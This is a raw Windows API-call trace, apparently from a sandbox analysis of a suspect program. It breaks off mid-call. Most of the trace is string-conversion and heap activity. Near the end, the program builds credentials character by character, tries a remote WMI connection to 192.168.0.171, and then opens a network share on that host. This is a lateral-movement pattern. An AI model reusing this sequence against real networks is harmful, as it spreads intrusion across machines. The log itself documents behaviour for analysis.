!\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽", cchWideChar=255, lpMultiByteStr=0x31e3a1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿýýýý", lpUsedDefaultChar=0x0) returned 255 [0112.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0112.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0112.565] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0112.565] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0112.565] GetLastError () returned 0x0 [0112.565] SetLastError (dwErrCode=0x0) [0112.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 255 [0112.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x272da0 [0112.565] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a9, cbMultiByte=255, lpWideCharStr=0x272dc8, cchWideChar=255 | out: lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤") returned 255 [0112.565] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 255 [0112.565] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22a) returned 0x307420 [0112.566] LCMapStringEx (in: lpLocaleName="en-US", dwMapFlags=0x200, lpSrcStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ﷽﷽)嵠*꛲ᛞ岤", cchSrc=255, lpDestStr=0x307448, cchDest=255, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽") returned 255 [0112.566] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸ﷽﷽", cchWideChar=255, lpMultiByteStr=0x32a8d1, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9fýýýý", lpUsedDefaultChar=0x0) returned 255 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x307420) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x307420 | out: hHeap=0x230000) returned 1 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0112.566] GetLastError () returned 0x0 [0112.566] SetLastError (dwErrCode=0x0) [0112.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256 [0112.566] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x22c) returned 0x272da0 [0112.566] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x2724a8, cbMultiByte=256, lpWideCharStr=0x272dc8, cchWideChar=256 | out: lpWideCharStr="") returned 256 [0112.566] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr="", cchSrc=256, lpCharType=0x307210 | out: lpCharType=0x307210) returned 1 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272da0 | out: hHeap=0x230000) returned 1 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x272488) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x272488 | out: hHeap=0x230000) returned 1 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50 | out: hHeap=0x230000) returned 1 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3228c0) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3228c0 | out: hHeap=0x230000) returned 1 [0112.566] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312380) returned 1 [0112.566] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312380 | out: hHeap=0x230000) returned 1 [0112.566] GetLastError () returned 0x0 [0112.567] SetLastError (dwErrCode=0x0) [0112.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x1d15f89c) returned 27 [0112.567] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x43) returned 0x312e80 [0112.567] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="English_United States.1252", cchWideChar=27, lpMultiByteStr=0x312ea4, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x1d15f89c | out: lpMultiByteStr="English_United States.1252", lpUsedDefaultChar=0x1d15f89c) returned 27 [0112.567] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26a600) returned 1 [0112.567] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26a600 | out: hHeap=0x230000) returned 1 [0112.567] GetLastError () returned 0x0 [0112.567] SetLastError (dwErrCode=0x0) [0112.567] GetLastError () returned 0x0 [0112.567] SetLastError (dwErrCode=0x0) [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb8, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdb9, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="9") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdba, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbb, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbc, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbd, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbe, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="8") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdbf, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc0, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc1, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr=".") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc2, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc3, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x1d15fdc4, cbMultiByte=1, lpWideCharStr=0x1d15f3a0, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0112.567] GetLastError () returned 0x0 [0112.567] SetLastError (dwErrCode=0x0) [0112.567] GetLastError () returned 0x0 [0112.567] SetLastError (dwErrCode=0x0) [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4b8, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4b9, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0112.567] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4ba, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4bb, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4bc, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4bd, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="G") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4be, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="J") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4bf, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c0, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c1, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="j") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c2, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="S") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c3, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c4, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c5, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c6, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="L") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c7, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="P") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c8, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4c9, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4ca, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="x") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x26b4cb, cbMultiByte=1, lpWideCharStr=0x1d15f390, cchWideChar=1 | out: lpWideCharStr="z") returned 1 [0112.568] GetLastError () returned 0x0 [0112.568] SetLastError (dwErrCode=0x0) [0112.568] GetLastError () returned 0x0 [0112.568] SetLastError (dwErrCode=0x0) [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054dc, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="6") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054dd, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054de, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054df, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="H") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e0, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="7") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e1, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="C") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e2, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e3, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0112.568] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x7054e4, cbMultiByte=1, lpWideCharStr=0x1d15f380, cchWideChar=1 | out: lpWideCharStr="K") returned 1 [0112.568] GetLastError () returned 0x0 [0112.568] SetLastError (dwErrCode=0x0) [0112.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0112.569] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x28) returned 0x312380 [0112.569] GetLastError () returned 0x0 [0112.569] SetLastError (dwErrCode=0x0) [0112.569] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x9, lpMultiByteStr=0x4bca74, cbMultiByte=-1, lpWideCharStr=0x3123a0, cchWideChar=2 | out: lpWideCharStr="C") returned 2 [0112.569] GetLastError () returned 0x0 [0112.569] SetLastError (dwErrCode=0x0) [0112.569] GetLastError () returned 0x0 [0112.569] SetLastError (dwErrCode=0x0) [0112.569] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0xdc) returned 0x3228c0 [0112.569] GetLastError () returned 0x0 [0112.569] SetLastError (dwErrCode=0x0) [0112.569] GetLastError () returned 0x0 [0112.569] SetLastError (dwErrCode=0x0) [0112.569] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x26a600 [0112.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0) returned 1 [0112.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3070f0 | out: hHeap=0x230000) returned 1 [0112.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300) returned 1 [0112.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x31e300 | out: hHeap=0x230000) returned 1 [0112.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830) returned 1 [0112.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x32a830 | out: hHeap=0x230000) returned 1 [0112.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x3123e0) returned 1 [0112.569] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x3123e0 | out: hHeap=0x230000) returned 1 [0112.569] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x214e4d90) returned 1 [0112.570] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x214e4d90 | out: hHeap=0x230000) returned 1 [0112.570] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269cd0) returned 1 [0112.570] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269cd0 | out: hHeap=0x230000) returned 1 [0112.570] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30) returned 1 [0112.570] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x301d30 | out: hHeap=0x230000) returned 1 [0112.570] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312380) returned 1 [0112.570] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312380 | out: hHeap=0x230000) returned 1 [0112.570] GetLastError () returned 0x0 [0112.570] SetLastError (dwErrCode=0x0) [0112.570] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2a) returned 0x269cd0 [0112.570] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80) returned 1 [0112.570] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312e80 | out: hHeap=0x230000) returned 1 [0112.570] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x26ae50 [0112.570] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x269c98 [0112.570] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x30) returned 0x269758 [0112.570] WbemLocator:IWbemLocator:ConnectServer (in: This=0x11d50828, strNetworkResource="\\\\192.168.0.171\\root\\cimv2", strUser="5p5NrGJn0jS HALPmcxz", strPassword="6mnH7CdKK", strLocale=0x0, lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x1d15fa0c | out: ppNamespace=0x1d15fa0c*=0x0) returned 0x80041064 [0112.717] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269758) returned 1 [0112.717] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269758 | out: hHeap=0x230000) returned 1 [0112.717] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269c98) returned 1 [0112.717] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269c98 | out: hHeap=0x230000) returned 1 [0112.717] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50) returned 1 [0112.717] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x26ae50 | out: hHeap=0x230000) returned 1 [0112.717] WbemLocator:IUnknown:Release (This=0x11d50828) returned 0x0 [0112.717] CoUninitialize () [0112.816] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269790 [0112.816] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2696b0 [0112.817] WNetAddConnection2A (lpNetResource=0x1d15fcb4*(dwScope=0x1, dwType=0x0, dwDisplayType=0x9, dwUsage=0x0, lpLocalName=0x0, lpRemoteName="\\\\192.168.0.171", lpComment=0x0, lpProvider=0x0), lpPassword="6mnH7CdKK", lpUserName="5p5NrGJn0jS HALPmcxz", dwFlags=0x1) returned 0x0 [0113.857] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x2696b0) returned 1 [0113.857] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x2696b0 | out: hHeap=0x230000) returned 1 [0113.857] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x269790) returned 1 [0113.857] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x269790 | out: hHeap=0x230000) returned 1 [0113.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269790 [0113.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x44) returned 0x312de0 [0113.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x54) returned 0x302538 [0113.857] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x312de0) returned 1 [0113.857] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x312de0 | out: hHeap=0x230000) returned 1 [0113.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2696b0 [0113.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269e58 [0113.857] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x6b) returned 0x29e9e8 [0113.857] HeapValidate (hHeap=0x230000, dwFlags=0x0, lpMem=0x302538) returned 1 [0113.857] HeapFree (in: hHeap=0x230000, dwFlags=0x0, lpMem=0x302538 | out: hHeap=0x230000) returned 1 [0113.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269170 [0113.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x2690c8 [0113.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269100 [0113.858] RtlAllocateHeap (HeapHandle=0x230000, Flags=0x0, Size=0x2c) returned 0x269138 [0113.858] AreFileApisANSI () returned 1 [0113.858] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x4bad40, cbMultiByte=-1, 